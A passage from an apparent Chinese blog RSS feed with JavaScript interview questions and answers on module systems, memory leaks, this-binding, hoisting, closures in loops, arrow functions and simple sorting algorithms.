<h2 id="30%E3%80%81%E8%B0%88%E8%B0%88%E4%BD%A0%E5%AF%B9amd%E3%80%81cmd%E7%9A%84%E7%90%86%E8%A7%A3">30&#x3001;&#x8C08;&#x8C08;&#x4F60;&#x5BF9;AMD&#x3001;CMD&#x7684;&#x7406;&#x89E3;</h2>
<ul>
<li><code>CommonJS</code>&#x662F;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x6A21;&#x5757;&#x7684;&#x89C4;&#x8303;&#xFF0C;<code>Node.js</code>&#x91C7;&#x7528;&#x4E86;&#x8FD9;&#x4E2A;&#x89C4;&#x8303;&#x3002;<code>CommonJS</code>&#x89C4;&#x8303;&#x52A0;&#x8F7D;&#x6A21;&#x5757;&#x662F;&#x540C;&#x6B65;&#x7684;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8BF4;&#xFF0C;&#x53EA;&#x6709;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#xFF0C;&#x624D;&#x80FD;&#x6267;&#x884C;&#x540E;&#x9762;&#x7684;&#x64CD;&#x4F5C;&#x3002;<code>AMD</code>&#x89C4;&#x8303;&#x5219;&#x662F;&#x975E;&#x540C;&#x6B65;&#x52A0;&#x8F7D;&#x6A21;&#x5757;&#xFF0C;&#x5141;&#x8BB8;&#x6307;&#x5B9A;&#x56DE;&#x8C03;&#x51FD;&#x6570;</li>
<li><code>AMD</code>&#x63A8;&#x8350;&#x7684;&#x98CE;&#x683C;&#x901A;&#x8FC7;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x505A;&#x4E3A;&#x6A21;&#x5757;&#x5BF9;&#x8C61;&#xFF0C;<code>CommonJS</code>&#x7684;&#x98CE;&#x683C;&#x901A;&#x8FC7;&#x5BF9;<code>module.exports</code>&#x6216;<code>exports</code>&#x7684;&#x5C5E;&#x6027;&#x8D4B;&#x503C;&#x6765;&#x8FBE;&#x5230;&#x66B4;&#x9732;&#x6A21;&#x5757;&#x5BF9;&#x8C61;&#x7684;&#x76EE;&#x7684;</li>
</ul>
<h2 id="31%E3%80%81%E9%82%A3%E4%BA%9B%E6%93%8D%E4%BD%9C%E4%BC%9A%E9%80%A0%E6%88%90%E5%86%85%E5%AD%98%E6%B3%84%E6%BC%8F%EF%BC%9F">31&#x3001;&#x90A3;&#x4E9B;&#x64CD;&#x4F5C;&#x4F1A;&#x9020;&#x6210;&#x5185;&#x5B58;&#x6CC4;&#x6F0F;&#xFF1F;</h2>
<ul>
<li>&#x5185;&#x5B58;&#x6CC4;&#x6F0F;&#x6307;&#x4EFB;&#x4F55;&#x5BF9;&#x8C61;&#x5728;&#x60A8;&#x4E0D;&#x518D;&#x62E5;&#x6709;&#x6216;&#x9700;&#x8981;&#x5B83;&#x4E4B;&#x540E;&#x4ECD;&#x7136;&#x5B58;&#x5728;</li>
<li><code>setTimeout</code> &#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#x4F7F;&#x7528;&#x5B57;&#x7B26;&#x4E32;&#x800C;&#x975E;&#x51FD;&#x6570;&#x7684;&#x8BDD;&#xFF0C;&#x4F1A;&#x5F15;&#x53D1;&#x5185;&#x5B58;&#x6CC4;&#x6F0F;</li>
<li>&#x95ED;&#x5305;&#x3001;&#x63A7;&#x5236;&#x53F0;&#x65E5;&#x5FD7;&#x3001;&#x5FAA;&#x73AF;&#xFF08;&#x5728;&#x4E24;&#x4E2A;&#x5BF9;&#x8C61;&#x5F7C;&#x6B64;&#x5F15;&#x7528;&#x4E14;&#x5F7C;&#x6B64;&#x4FDD;&#x7559;&#x65F6;&#xFF0C;&#x5C31;&#x4F1A;&#x4EA7;&#x751F;&#x4E00;&#x4E2A;&#x5FAA;&#x73AF;&#xFF09;</li>
</ul>
<h2 id="32%E3%80%81%E6%89%8B%E5%86%99%E4%B8%80%E4%B8%AA%E9%80%92%E5%BD%92%E6%96%B9%E6%B3%95%E6%B1%82%E6%96%90%E6%B3%A2%E9%82%A3%E5%A5%91%E6%95%B0%E5%88%97%E7%9A%84%E7%AC%ACn%E9%A1%B9%E7%9A%84%E5%80%BC">32&#x3001;&#x624B;&#x5199;&#x4E00;&#x4E2A;&#x9012;&#x5F52;&#x65B9;&#x6CD5;&#x6C42;&#x6590;&#x6CE2;&#x90A3;&#x5951;&#x6570;&#x5217;&#x7684;&#x7B2C;N&#x9879;&#x7684;&#x503C;</h2>
<pre><code class="language-javascript">function fn(n){
    if(n==1 || n==2){
        return 1;
    }else {
        return fn(n-1)+fn(n-2);
    }
}
</code></pre>
<h2 id="33%E3%80%81%E4%BA%8B%E4%BB%B6%E4%BC%A0%E6%92%AD%E7%9A%84%E4%B8%89%E4%B8%AA%E9%98%B6%E6%AE%B5%E6%98%AF%E4%BB%80%E4%B9%88">33&#x3001;&#x4E8B;&#x4EF6;&#x4F20;&#x64AD;&#x7684;&#x4E09;&#x4E2A;&#x9636;&#x6BB5;&#x662F;&#x4EC0;&#x4E48;</h2>
<p>&#x6355;&#x83B7; &gt; &#x76EE;&#x6807; &gt; &#x5192;&#x6CE1;&#xFF1B;&#x5728;&#x6355;&#x83B7;&#x9636;&#x6BB5;&#xFF0C;&#x4E8B;&#x4EF6;&#x901A;&#x8FC7;&#x7236;&#x5143;&#x7D20;&#x5411;&#x4E0B;&#x4F20;&#x9012;&#x5230;&#x76EE;&#x6807;&#x5143;&#x7D20;&#x3002; &#x7136;&#x540E;&#x5B83;&#x5230;&#x8FBE;&#x76EE;&#x6807;&#x5143;&#x7D20;&#xFF0C;&#x5192;&#x6CE1;&#x5F00;&#x59CB;&#x3002;</p>
<h2 id="34%E3%80%81%E5%90%8C%E6%AD%A5%E5%92%8C%E5%BC%82%E6%AD%A5%E7%9A%84%E5%8C%BA%E5%88%AB">34&#x3001;&#x540C;&#x6B65;&#x548C;&#x5F02;&#x6B65;&#x7684;&#x533A;&#x522B;?</h2>
<ul>
<li>&#x540C;&#x6B65;&#xFF1A;&#x6D4F;&#x89C8;&#x5668;&#x8BBF;&#x95EE;&#x670D;&#x52A1;&#x5668;&#x8BF7;&#x6C42;&#xFF0C;&#x7528;&#x6237;&#x770B;&#x5F97;&#x5230;&#x9875;&#x9762;&#x5237;&#x65B0;&#xFF0C;&#x91CD;&#x65B0;&#x53D1;&#x8BF7;&#x6C42;,&#x7B49;&#x8BF7;&#x6C42;&#x5B8C;&#xFF0C;&#x9875;&#x9762;&#x5237;&#x65B0;&#xFF0C;&#x65B0;&#x5185;&#x5BB9;&#x51FA;&#x73B0;&#xFF0C;&#x7528;&#x6237;&#x770B;&#x5230;&#x65B0;&#x5185;&#x5BB9;,&#x8FDB;&#x884C;&#x4E0B;&#x4E00;&#x6B65;&#x64CD;&#x4F5C;</li>
<li>&#x5F02;&#x6B65;&#xFF1A;&#x6D4F;&#x89C8;&#x5668;&#x8BBF;&#x95EE;&#x670D;&#x52A1;&#x5668;&#x8BF7;&#x6C42;&#xFF0C;&#x7528;&#x6237;&#x6B63;&#x5E38;&#x64CD;&#x4F5C;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x540E;&#x7AEF;&#x8FDB;&#x884C;&#x8BF7;&#x6C42;&#x3002;&#x7B49;&#x8BF7;&#x6C42;&#x5B8C;&#xFF0C;&#x9875;&#x9762;&#x4E0D;&#x5237;&#x65B0;&#xFF0C;&#x65B0;&#x5185;&#x5BB9;&#x4E5F;&#x4F1A;&#x51FA;&#x73B0;&#xFF0C;&#x7528;&#x6237;&#x770B;&#x5230;&#x65B0;&#x5185;&#x5BB9;</li>
</ul>
<h2 id="35%E3%80%81%E8%B0%88%E8%B0%88%E4%BD%A0%E5%AF%B9es6%E7%9A%84%E7%90%86%E8%A7%A3">35&#x3001;&#x8C08;&#x8C08;&#x4F60;&#x5BF9;ES6&#x7684;&#x7406;&#x89E3;</h2>
<ul>
<li>&#x65B0;&#x589E;&#x6A21;&#x677F;&#x5B57;&#x7B26;&#x4E32;&#xFF08;&#x4E3A;<code>JavaScript</code>&#x63D0;&#x4F9B;&#x4E86;&#x7B80;&#x5355;&#x7684;&#x5B57;&#x7B26;&#x4E32;&#x63D2;&#x503C;&#x529F;&#x80FD;&#xFF09;</li>
<li>&#x7BAD;&#x5934;&#x51FD;&#x6570;</li>
<li><code>for-of</code>&#xFF08;&#x7528;&#x6765;&#x904D;&#x5386;&#x6570;&#x636E;&#x2014;&#x4F8B;&#x5982;&#x6570;&#x7EC4;&#x4E2D;&#x7684;&#x503C;&#x3002;&#xFF09;</li>
<li><code>arguments</code>&#x5BF9;&#x8C61;&#x53EF;&#x88AB;&#x4E0D;&#x5B9A;&#x53C2;&#x6570;&#x548C;&#x9ED8;&#x8BA4;&#x53C2;&#x6570;&#x5B8C;&#x7F8E;&#x4EE3;&#x66FF;&#x3002;</li>
<li><code>ES6</code>&#x5C06;<code>promise</code>&#x5BF9;&#x8C61;&#x7EB3;&#x5165;&#x89C4;&#x8303;&#xFF0C;&#x63D0;&#x4F9B;&#x4E86;&#x539F;&#x751F;&#x7684;<code>Promise</code>&#x5BF9;&#x8C61;&#x3002;</li>
<li>&#x589E;&#x52A0;&#x4E86;<code>let</code>&#x548C;<code>const</code>&#x547D;&#x4EE4;&#xFF0C;&#x7528;&#x6765;&#x58F0;&#x660E;&#x53D8;&#x91CF;&#x3002;</li>
<li>&#x589E;&#x52A0;&#x4E86;&#x5757;&#x7EA7;&#x4F5C;&#x7528;&#x57DF;&#x3002;</li>
<li><code>let</code>&#x547D;&#x4EE4;&#x5B9E;&#x9645;&#x4E0A;&#x5C31;&#x589E;&#x52A0;&#x4E86;&#x5757;&#x7EA7;&#x4F5C;&#x7528;&#x57DF;&#x3002;</li>
<li>&#x8FD8;&#x6709;&#x5C31;&#x662F;&#x5F15;&#x5165;<code>module</code>&#x6A21;&#x5757;&#x7684;&#x6982;&#x5FF5;&#x3002;</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[JavaScript编程题]]></title><description><![CDATA[JavaScript编程题]]></description><link>https://iobiji.com/javascript-contest/</link><guid isPermaLink="false">656e0e57d732aa747eb28172</guid><category><![CDATA[编程技术]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Fri, 12 Jun 2020 11:01:18 GMT</pubDate><media:content url="https://cdn.iobiji.com/202006/javascript.jpg" medium="image"/><content:encoded><![CDATA[<h2 id="1-%E5%86%99%E5%87%BA%E4%B8%8B%E9%9D%A2%E8%BF%99%E6%AE%B5%E4%BB%A3%E7%A0%81%E7%9A%84%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%E6%98%AF%EF%BC%9F">1. &#x5199;&#x51FA;&#x4E0B;&#x9762;&#x8FD9;&#x6BB5;&#x4EE3;&#x7801;&#x7684;&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#x662F;&#xFF1F;</h2>
<pre><code class="language-javascript">var out = 25,
    inner = {
        out : 20,
        func: function () {
            var out = 30;
            return this.out;
        }
    }
console.log((inner.func, inner.func)());
console.log(inner.func());
console.log((inner.func)());
console.log((inner.func = inner.func)());
</code></pre>
<img src="https://cdn.iobiji.com/202006/javascript.jpg" alt="JavaScript&#x7F16;&#x7A0B;&#x9898;"><p>&#x8F93;&#x51FA;&#x7ED3;&#x679C; :</p>
<ol>
<li>25</li>
<li>20</li>
<li>20</li>
<li>25</li>
</ol>
<p>&#x89E3;&#x6790;&#xFF1A;</p>
<blockquote>
<p>&#x672C;&#x9898;&#x8003;&#x70B9;&#x4E24;&#x4E2A;&#xFF1A; 1&#xFF0C; &#x4F5C;&#x7528;&#x57DF;&#xFF1B;2. &#x8FD0;&#x7B97;&#x7B26;&#xFF08;&#x8D4B;&#x503C;&#x8FD0;&#x7B97;&#x7B26;&#xFF0C;&#x9017;&#x53F7;&#x8FD0;&#x7B97;&#x7B26;&#xFF09;</p>
<p>&#x7B2C;&#x4E00;&#x4E2A;&#x8003;&#x7684;&#x5C31;&#x662F;&#x9017;&#x53F7;&#x8FD0;&#x7B97;&#x7B26;&#xFF0C;&#x9017;&#x53F7;&#x8FD0;&#x7B97;&#x7B26;&#x5C31;&#x662F;&#x8FD0;&#x7B97;&#x524D;&#x9762;&#x7684;&#xFF0C;&#x8FD4;&#x56DE;&#x6700;&#x540E;&#x4E00;&#x4E2A;&#xFF1B;&#x4F8B;&#x5982;&#xFF1A;var i= 1&#xFF1B;j = 2; k = 5; console.log((i++, j++, k)),&#x6700;&#x540E;&#x8F93;&#x51FA;&#x7684;&#x662F;5&#xFF1B;&#x56DE;&#x5230;&#x9898;&#x76EE;&#xFF0C;&#x9017;&#x53F7;&#x8FD0;&#x7B97;&#x7B26;&#x4F1A;&#x8FD4;&#x56DE;inner.func&#xFF0C;&#x800C;inner.func&#x662F;&#x4E00;&#x4E2A;&#x533F;&#x540D;&#x51FD;&#x6570;&#xFF0C;&#x800C;&#x8FD9;&#x4E2A;&#x533F;&#x540D;&#x51FD;&#x6570;&#x662F;&#x5C5E;&#x4E8E;window&#x7684;&#xFF0C;&#x6240;&#x4EE5;&#x91CC;&#x9762;&#x7684;this&#x6307;&#x5411;&#x7684;&#x662F;window&#xFF0C;&#x8F93;&#x51FA;25&#xFF1B;</p>
<p>&#x7B2C;&#x4E8C;&#xFF0C;&#x7B2C;&#x4E09;&#x4E2A;&#x8F93;&#x51FA;&#x90FD;&#x662F;20&#xFF0C;&#x56E0;&#x4E3A;this&#x6307;&#x5411;&#x7684;&#x662F;inner</p>
<p>&#x6700;&#x540E;&#x4E00;&#x4E2A;&#x8003;&#x7684;&#x662F;&#x7B49;&#x53F7;&#x8FD0;&#x7B97;&#x7B26;&#xFF0C;inner.func = inner.func&#x5176;&#x5B9E;&#x8FD4;&#x56DE;&#x7684;&#x662F;&#x8FD0;&#x7B97;&#x7684;&#x7ED3;&#x679C;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8FD4;&#x56DE;&#x7684;&#x662F;&#x533F;&#x540D;&#x51FD;&#x6570;&#xFF0C;&#x6240;&#x4EE5;this&#x4E5F;&#x662F;&#x6307;&#x5411;window&#xFF0C;&#x8F93;&#x51FA;&#x7684;&#x662F;25</p>
</blockquote>
<h2 id="2-%E4%BB%A5%E4%B8%8B%E4%BB%A3%E7%A0%81%E7%89%87%E6%AE%B5%EF%BC%8C%E8%BE%93%E5%87%BA%E7%9A%84%E7%BB%93%E6%9E%9C%E6%98%AF%EF%BC%9F%E7%AE%80%E8%A6%81%E8%A7%A3%E9%87%8A%E4%B8%80%E4%B8%8B%E3%80%82">2. &#x4EE5;&#x4E0B;&#x4EE3;&#x7801;&#x7247;&#x6BB5;&#xFF0C;&#x8F93;&#x51FA;&#x7684;&#x7ED3;&#x679C;&#x662F;&#xFF1F;&#x7B80;&#x8981;&#x89E3;&#x91CA;&#x4E00;&#x4E0B;&#x3002;</h2>
<pre><code class="language-javascript">var name = &apos;1&apos;;
var object = {
    name: &apos;2&apos;,
    getNameFunc: function () {
        return function () {
            return this.name;
        }
    }
}
console.log(object.getNameFunc()())
</code></pre>
<p>&#x8F93;&#x51FA;&#x7ED3;&#x679C;&#xFF1A; 1</p>
<p>&#x89E3;&#x91CA;&#xFF1A;</p>
<blockquote>
<p>object.getNameFunc()&#x6267;&#x884C;&#x5B8C;&#x540E;&#xFF0C;&#x8FD4;&#x56DE;&#x7684;&#x662F;&#x4E00;&#x4E2A;&#x533F;&#x540D;&#x51FD;&#x6570;&#xFF0C;&#x6240;&#x4EE5;&#x91CC;&#x9762;&#x7684;this&#x6307;&#x5411;&#x7684;&#x5C31;&#x662F;window&#xFF0C;&#x6700;&#x7EC8;&#x7ED3;&#x679C;&#x8F93;&#x51FA;&#x7684;&#x662F;1&#xFF1B;</p>
</blockquote>
<h2 id="3-%E4%B8%8B%E9%9D%A2%E4%BB%A3%E7%A0%81%E7%9A%84%E8%BE%93%E5%87%BA%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F">3. &#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x7684;&#x8F93;&#x51FA;&#x662F;&#x4EC0;&#x4E48;&#xFF1F;</h2>
<pre><code class="language-javascript">function sayHi() {
    console.log(name);
    console.log(age);
    var name = &apos;&#x5F20;&#x4E09;&apos;&#xFF1B;
    let age = 21;
}
sayHi();
</code></pre>
<p>&#x7B54;&#x6848;&#xFF1A; <code>undefined</code> &#x548C; <code>ReferenceError</code></p>
<blockquote>
<p>&#x5728;&#x51FD;&#x6570;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x9996;&#x5148;&#x4F7F;&#x7528;<code>var</code>&#x5173;&#x952E;&#x5B57;&#x58F0;&#x660E;&#x4E86;<code>name</code>&#x53D8;&#x91CF;&#x3002; &#x8FD9;&#x610F;&#x5473;&#x7740;&#x53D8;&#x91CF;&#x5728;&#x521B;&#x5EFA;&#x9636;&#x6BB5;&#x4F1A;&#x88AB;&#x63D0;&#x5347;&#xFF08;<code>JavaScript</code>&#x4F1A;&#x5728;&#x521B;&#x5EFA;&#x53D8;&#x91CF;&#x521B;&#x5EFA;&#x9636;&#x6BB5;&#x4E3A;&#x5176;&#x5206;&#x914D;&#x5185;&#x5B58;&#x7A7A;&#x95F4;&#xFF09;&#xFF0C;&#x9ED8;&#x8BA4;&#x503C;&#x4E3A;<code>undefined</code>&#xFF0C;&#x76F4;&#x5230;&#x6211;&#x4EEC;&#x5B9E;&#x9645;&#x6267;&#x884C;&#x5230;&#x4F7F;&#x7528;&#x8BE5;&#x53D8;&#x91CF;&#x7684;&#x884C;&#x3002; &#x6211;&#x4EEC;&#x8FD8;&#x6CA1;&#x6709;&#x4E3A;<code>name</code>&#x53D8;&#x91CF;&#x8D4B;&#x503C;&#xFF0C;&#x6240;&#x4EE5;&#x5B83;&#x4ECD;&#x7136;&#x4FDD;&#x6301;<code>undefined</code>&#x7684;&#x503C;&#x3002;</p>
<p>&#x4F7F;&#x7528;<code>let</code>&#x5173;&#x952E;&#x5B57;&#xFF08;&#x548C;<code>const</code>&#xFF09;&#x58F0;&#x660E;&#x7684;&#x53D8;&#x91CF;&#x4E5F;&#x4F1A;&#x5B58;&#x5728;&#x53D8;&#x91CF;&#x63D0;&#x5347;&#xFF0C;&#x4F46;&#x4E0E;<code>var</code>&#x4E0D;&#x540C;&#xFF0C;&#x521D;&#x59CB;&#x5316;&#x6CA1;&#x6709;&#x88AB;&#x63D0;&#x5347;&#x3002; &#x5728;&#x6211;&#x4EEC;&#x58F0;&#x660E;&#xFF08;&#x521D;&#x59CB;&#x5316;&#xFF09;&#x5B83;&#x4EEC;&#x4E4B;&#x524D;&#xFF0C;&#x5B83;&#x4EEC;&#x662F;&#x4E0D;&#x53EF;&#x8BBF;&#x95EE;&#x7684;&#x3002; &#x8FD9;&#x88AB;&#x79F0;&#x4E3A;&#x201C;&#x6682;&#x65F6;&#x6B7B;&#x533A;&#x201D;&#x3002; &#x5F53;&#x6211;&#x4EEC;&#x5728;&#x58F0;&#x660E;&#x53D8;&#x91CF;&#x4E4B;&#x524D;&#x5C1D;&#x8BD5;&#x8BBF;&#x95EE;&#x53D8;&#x91CF;&#x65F6;&#xFF0C;<code>JavaScript</code>&#x4F1A;&#x629B;&#x51FA;&#x4E00;&#x4E2A;<code>ReferenceError</code>&#x3002;</p>
</blockquote>
<h2 id="4-%E4%B8%8B%E9%9D%A2%E4%BB%A3%E7%A0%81%E8%BE%93%E5%87%BA%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F">4. &#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x8F93;&#x51FA;&#x662F;&#x4EC0;&#x4E48;&#xFF1F;</h2>
<pre><code class="language-javascript">for (var i = 0; i &lt; 3; i++) {
  setTimeout(() =&gt; console.log(i), 1);
}

for (let i = 0; i &lt; 3; i++) {
  setTimeout(() =&gt; console.log(i), 1);
}
</code></pre>
<p>&#x7B54;&#x6848;&#xFF1A;<code>3 3 3</code> and <code>0 1 2</code></p>
<blockquote>
<p>&#x7531;&#x4E8E;<code>JavaScript</code>&#x4E2D;&#x7684;&#x4E8B;&#x4EF6;&#x6267;&#x884C;&#x673A;&#x5236;&#xFF0C;<code>setTimeout</code>&#x51FD;&#x6570;&#x771F;&#x6B63;&#x88AB;&#x6267;&#x884C;&#x65F6;&#xFF0C;&#x5FAA;&#x73AF;&#x5DF2;&#x7ECF;&#x8D70;&#x5B8C;&#x3002; &#x7531;&#x4E8E;&#x7B2C;&#x4E00;&#x4E2A;&#x5FAA;&#x73AF;&#x4E2D;&#x7684;&#x53D8;&#x91CF;<code>i</code>&#x662F;&#x4F7F;&#x7528;<code>var</code>&#x5173;&#x952E;&#x5B57;&#x58F0;&#x660E;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x8BE5;&#x503C;&#x662F;&#x5168;&#x5C40;&#x7684;&#x3002; &#x5728;&#x5FAA;&#x73AF;&#x671F;&#x95F4;&#xFF0C;&#x6211;&#x4EEC;&#x6BCF;&#x6B21;&#x4F7F;&#x7528;&#x4E00;&#x5143;&#x8FD0;&#x7B97;&#x7B26;<code>++</code>&#x90FD;&#x4F1A;&#x5C06;<code>i</code>&#x7684;&#x503C;&#x589E;&#x52A0;<code>1</code>&#x3002; &#x56E0;&#x6B64;&#x5728;&#x7B2C;&#x4E00;&#x4E2A;&#x4F8B;&#x5B50;&#x4E2D;&#xFF0C;&#x5F53;&#x8C03;&#x7528;<code>setTimeout</code>&#x51FD;&#x6570;&#x65F6;&#xFF0C;<code>i</code>&#x5DF2;&#x7ECF;&#x88AB;&#x8D4B;&#x503C;&#x4E3A;<code>3</code>&#x3002;<br>
&#x5728;&#x7B2C;&#x4E8C;&#x4E2A;&#x5FAA;&#x73AF;&#x4E2D;&#xFF0C;&#x4F7F;&#x7528;<code>let</code>&#x5173;&#x952E;&#x5B57;&#x58F0;&#x660E;&#x53D8;&#x91CF;<code>i</code>&#xFF1A;&#x4F7F;&#x7528;<code>let</code>&#xFF08;&#x548C;<code>const</code>&#xFF09;&#x5173;&#x952E;&#x5B57;&#x58F0;&#x660E;&#x7684;&#x53D8;&#x91CF;&#x662F;&#x5177;&#x6709;&#x5757;&#x4F5C;&#x7528;&#x57DF;&#x7684;&#xFF08;&#x5757;&#x662F;<code>{}</code>&#x4E4B;&#x95F4;&#x7684;&#x4EFB;&#x4F55;&#x4E1C;&#x897F;&#xFF09;&#x3002; &#x5728;&#x6BCF;&#x6B21;&#x8FED;&#x4EE3;&#x671F;&#x95F4;&#xFF0C;<code>i</code>&#x5C06;&#x88AB;&#x521B;&#x5EFA;&#x4E3A;&#x4E00;&#x4E2A;&#x65B0;&#x503C;&#xFF0C;&#x5E76;&#x4E14;&#x6BCF;&#x4E2A;&#x503C;&#x90FD;&#x4F1A;&#x5B58;&#x5728;&#x4E8E;&#x5FAA;&#x73AF;&#x5185;&#x7684;&#x5757;&#x7EA7;&#x4F5C;&#x7528;&#x57DF;&#x3002;</p>
</blockquote>
<h2 id="5-%E4%B8%8B%E9%9D%A2%E4%BB%A3%E7%A0%81%E7%9A%84%E8%BE%93%E5%87%BA%E6%98%AF%E4%BB%80%E4%B9%88">5. &#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x7684;&#x8F93;&#x51FA;&#x662F;&#x4EC0;&#x4E48;?</h2>
<pre><code class="language-javascript">const shape = {
  radius: 10,
  diameter() {
    return this.radius * 2;
  },
  perimeter: () =&gt; 2 * Math.PI * this.radius
};

shape.diameter();
shape.perimeter();

</code></pre>
<p>&#x7B54;&#x6848;&#xFF1A; <code>20</code> and <code>NaN</code></p>
<blockquote>
<p>&#x8BF7;&#x6CE8;&#x610F;&#xFF0C;<code>diameter</code>&#x662F;&#x666E;&#x901A;&#x51FD;&#x6570;&#xFF0C;&#x800C;<code>perimeter</code>&#x662F;&#x7BAD;&#x5934;&#x51FD;&#x6570;&#x3002;<br>
&#x5BF9;&#x4E8E;&#x7BAD;&#x5934;&#x51FD;&#x6570;&#xFF0C;<code>this</code>&#x5173;&#x952E;&#x5B57;&#x6307;&#x5411;&#x662F;&#x5B83;&#x6240;&#x5728;&#x4E0A;&#x4E0B;&#x6587;&#xFF08;&#x5B9A;&#x4E49;&#x65F6;&#x7684;&#x4F4D;&#x7F6E;&#xFF09;&#x7684;&#x73AF;&#x5883;&#xFF0C;&#x4E0E;&#x666E;&#x901A;&#x51FD;&#x6570;&#x4E0D;&#x540C;&#xFF01; &#x8FD9;&#x610F;&#x5473;&#x7740;&#x5F53;&#x6211;&#x4EEC;&#x8C03;&#x7528;<code>perimeter</code>&#x65F6;&#xFF0C;&#x5B83;&#x4E0D;&#x662F;&#x6307;&#x5411;<code>shape</code>&#x5BF9;&#x8C61;&#xFF0C;&#x800C;&#x662F;&#x6307;&#x5176;&#x5B9A;&#x4E49;&#x65F6;&#x7684;&#x73AF;&#x5883;&#xFF08;window&#xFF09;&#x3002;&#x6CA1;&#x6709;&#x503C;<code>radius</code>&#x5C5E;&#x6027;&#xFF0C;&#x8FD4;&#x56DE;<code>undefined</code>&#x3002;</p>
</blockquote>
<h2 id="6-%E4%B8%8B%E9%9D%A2%E4%BB%A3%E7%A0%81%E7%9A%84%E8%BE%93%E5%87%BA%E6%98%AF%E4%BB%80%E4%B9%88">6. &#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x7684;&#x8F93;&#x51FA;&#x662F;&#x4EC0;&#x4E48;?</h2>
<pre><code class="language-javascript">+true;
!&quot;&#x5F20;&#x4E09;&quot;;
</code></pre>
<p>&#x7B54;&#x6848;&#xFF1A;<code>1</code> and <code>false</code></p>
<blockquote>
<p>&#x4E00;&#x5143;&#x52A0;&#x53F7;&#x4F1A;&#x5C1D;&#x8BD5;&#x5C06;<code>boolean</code>&#x7C7B;&#x578B;&#x8F6C;&#x6362;&#x4E3A;&#x6570;&#x5B57;&#x7C7B;&#x578B;&#x3002; <code>true</code>&#x88AB;&#x8F6C;&#x6362;&#x4E3A;<code>1</code>&#xFF0C;<code>false</code>&#x88AB;&#x8F6C;&#x6362;&#x4E3A;<code>0</code>&#x3002;</p>
<p>&#x5B57;&#x7B26;&#x4E32;<code>&apos;Lydia&apos;</code>&#x662F;&#x4E00;&#x4E2A;&#x771F;&#x503C;&#x3002; &#x6211;&#x4EEC;&#x5B9E;&#x9645;&#x4E0A;&#x8981;&#x95EE;&#x7684;&#x662F;&#x201C;&#x8FD9;&#x4E2A;&#x771F;&#x503C;&#x662F;&#x5047;&#x7684;&#x5417;&#xFF1F;&#x201D;&#x3002; &#x8FD9;&#x4F1A;&#x8FD4;&#x56DE;<code>false</code>&#x3002;</p>
</blockquote>
<h2 id="7%E3%80%81%E5%A6%82%E4%BD%95%E5%88%A4%E6%96%AD%E4%B8%80%E4%B8%AA%E5%AF%B9%E8%B1%A1%E6%98%AF%E5%90%A6%E4%B8%BA%E6%95%B0%E7%BB%84">7&#x3001;&#x5982;&#x4F55;&#x5224;&#x65AD;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x662F;&#x5426;&#x4E3A;&#x6570;&#x7EC4;</h2>
<pre><code class="language-javascript">function isArray(arg) {
    if (typeof arg === &apos;object&apos;) {
        return Object.prototype.toString.call(arg) === &apos;[object Array]&apos;;
    }
    return false;
}
</code></pre>
<h2 id="8%E3%80%81%E5%86%92%E6%B3%A1%E6%8E%92%E5%BA%8F">8&#x3001;&#x5192;&#x6CE1;&#x6392;&#x5E8F;</h2>
<ul>
<li>&#x6BCF;&#x6B21;&#x6BD4;&#x8F83;&#x76F8;&#x90BB;&#x7684;&#x4E24;&#x4E2A;&#x6570;&#xFF0C;&#x5982;&#x679C;&#x540E;&#x4E00;&#x4E2A;&#x6BD4;&#x524D;&#x4E00;&#x4E2A;&#x5C0F;&#xFF0C;&#x6362;&#x4F4D;&#x7F6E;</li>
</ul>
<pre><code class="language-javascript">var arr = [3, 1, 4, 6, 5, 7, 2];

function bubbleSort(arr) {
for (var i = 0; i &lt; arr.length - 1; i++) {
    for(var j = 0; j &lt; arr.length - 1; j++) {
        if(arr[j + 1] &lt; arr[j]) {
            var temp;
            temp = arr[j];
            arr[j] = arr[j + 1];
            arr[j + 1] = temp;
        }
    }
}
return arr;
}

console.log(bubbleSort(arr));
</code></pre>
<h2 id="9%E3%80%81%E5%BF%AB%E9%80%9F%E6%8E%92%E5%BA%8F">9&#x3001;&#x5FEB;&#x901F;&#x6392;&#x5E8F;</h2>
<ul>
<li>&#x91C7;&#x7528;&#x4E8C;&#x5206;&#x6CD5;&#xFF0C;&#x53D6;&#x51FA;&#x4E2D;&#x95F4;&#x6570;&#xFF0C;&#x6570;&#x7EC4;&#x6BCF;&#x6B21;&#x548C;&#x4E2D;&#x95F4;&#x6570;&#x6BD4;&#x8F83;&#xFF0C;&#x5C0F;&#x7684;&#x653E;&#x5230;&#x5DE6;&#x8FB9;&#xFF0C;&#x5927;&#x7684;&#x653E;&#x5230;&#x53F3;&#x8FB9;</li>
</ul>
<pre><code class="language-javascript">var arr = [3, 1, 4, 6, 5, 7, 2];

function quickSort(arr) {
    if(arr.length == 0) {
        return [];    // &#x8FD4;&#x56DE;&#x7A7A;&#x6570;&#x7EC4;
    }

    var cIndex = Math.floor(arr.length / 2);
    var c = arr.splice(cIndex, 1);
    var l = [];
    var r = [];

    for (var i = 0; i &lt; arr.length; i++) {
        if(arr[i] &lt; c) {
            l.push(arr[i]);
        } else {
            r.push(arr[i]);
        }
    }

    return quickSort(l).concat(c, quickSort(r));
}

console.log(quickSort(arr));
</code></pre>
